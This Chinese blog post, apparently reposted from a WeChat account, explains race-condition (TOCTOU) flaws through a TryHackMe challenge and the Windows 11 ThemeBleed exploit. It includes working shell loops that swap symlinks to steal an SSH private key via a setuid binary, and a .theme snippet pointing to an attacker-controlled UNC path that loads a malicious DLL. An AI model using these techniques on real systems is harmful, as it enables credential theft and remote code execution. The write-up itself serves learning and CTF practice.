文件中有趣的条件竞争漏洞

文件中有趣的条件竞争漏洞

前言

条件竞争(Race Condition)是一种经常出现于并发编程中的问题,发生在多个进程或线程并行执行时,它们对共享资源的访问和修改没有适当的同步机制。简而言之,当程序的行为依赖于执行顺序,而这个顺序在不同的运行中可能会变化时,就会产生条件竞争。

在这里,带来TryHackMe近期的挑战房间中的条件竞争提权,以及过去与它相似的windows11 theme主题RCE漏洞themebleed

BreakMe

在这个渗透测试挑战中的横向移动环节中有一个相当有趣的点

文件中有趣的条件竞争漏洞

.ssh目录下有id_rsa,readfile拥有youcef的suid,虽然readfile.c不可读,通过ida反编译我们能够得到大概的代码,为了更加清晰我们选择事后root后读取源码

#include <stdio.h>#include <fcntl.h>#include <string.h>#include <unistd.h>#include <assert.h>#include <sys/stat.h>
int main(int argc, char **argv, char **envp) {
int n; char buf[1024]; struct stat lstat_buf;
if (argc != 2) { puts("Usage: ./readfile <FILE>"); return 1; }else if(access(argv[1],F_OK)){ puts("File Not Found"); return 1; }else if(getuid()!=1002){ puts("You can't run this program"); return 1; }
char *flag = strstr(argv[1], "flag"); char *id_rsa = strstr(argv[1], "id_rsa"); lstat(argv[1], &lstat_buf); int symlink_check = (S_ISLNK(lstat_buf.st_mode)); int res=access(argv[1],R_OK);
if (flag || symlink_check || res==-1 || id_rsa) { puts("Nice try!"); return 1; } else { puts("I guess you won!n"); int fd = open(argv[1], 0); assert(fd >= 0 && "Failed to open the file"); while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0); }
return 0;}

原有的代码中还包含sleep 0.8,我已经移除,但并不影响条件竞争的诞生,即便会使它的概率下降

我们看最关键的逻辑部分

使用strstr函数检查文件名中是否包含“flag”或“id_rsa”使用 lstat获取文件状态信息,并检查文件是否是符号链接(S_ISLNK),如果是链接文件则禁止读取文件如果包含上述检查的文件名或是链接文件则禁止读取文件

事实上源码已经给了提示,那就是跟软链接有关。导致条件竞争的发生是 在获取文件名以及是否链接文件之后、if判断之前

我们以慢速的视角进入,当进行前两步操作后,我们迅速把我们想要读取的文件从正常文件修改为软链接,接着当if判断时,它会通过,因为内存中的变量值是我们修改前的状态,此时会去读取软链接中的文件,从而绕过正常判断

我们可以创建一个死循环反复创建和删除软链接并创建正常文件

while true;do ln -sf /home/youcef/.ssh/id_rsa ./test;rm ./test;touch ./test;done &

文件中有趣的条件竞争漏洞

接着多次运行readfile进行条件竞争,让它读取./test文件

for i in {1..50};do /home/youcef/readfile ./test;done

这次运气挺不错,一轮中了两发

文件中有趣的条件竞争漏洞

当readfile以正常文件获取状态后,在if判断前修改为了软链接文件,我们就能读取到我们想要的

Windows 11 RCE – themebleed

在过去的一个靶机历程中,themebleed被我用于获得服务器初始访问权限的方式,事实证明它也可在特定win11版本中被用于钓鱼,不过由于它是漏洞,只要修补便会失效

它的工作原理与上面的条件竞争有些相似

受害者通过双击运行.theme文件去调用版本999的.msstyle文件

[VisualStyles]Path=\attacker_ipAero.msstyles

当调用了版本999的.msstyle会发生什么

if ( return_val < 0 && (_WORD)version == 999 ) // !!! [2] special case for version 999  {    resource_size = 999;    return_val = ReviseVersionIfNecessary(msstyles_path, 999, (int *)&resource_size); // !!! [3] call to `ReviseVersionIfNecessary`

当是999时,直接调用ReviseVersionIfNecessary函数验证xxx_vrf.dll签名,签名通过后,再次获取xxx_vrf.dll文件作为DLL加载并调用VerifyThemeVersion函数

得益于Windows UNC Path,它在这个漏洞中发挥巨大作用

关键点则在于,它的参数msstyles_path(.theme文件中的path)是UNC Path;换句话说,它会从UNC Path去读取xxx_vrf.dll,但问题是这个文件将会由攻击者操控

首先windows系统第一次通过UNC path获取xxx_vrf.dll文件,此时攻击者返回正常的xxx_vrf.dll使其通过签名

当签名通过后,windows系统第二次通过UNC path获取xxx_vrf.dll文件,此时攻击者返回恶意的dll文件使其在系统上被加载

themebleed.py源码

文件中有趣的条件竞争漏洞

当是第二次获取vrf.dll时,则返回恶意dll回去,当恶意dll被加载,我们就能得到我们想要的东西

文件中有趣的条件竞争漏洞

共同点

虽然前后两者由于本地网络导致过程速度上的巨大差异,但不难看出这两个都具有相似的条件竞争点:

获取文件信息后,if判断前获取第一次vrf.dll验证dll签名后,获取第二次vrf.dll前


原文始发于微信公众号(APT250):文件中有趣的条件竞争漏洞

版权声明:admin 发表于 2024年10月8日 下午3:12。
转载请注明:文件中有趣的条件竞争漏洞 | CTF导航

相关文章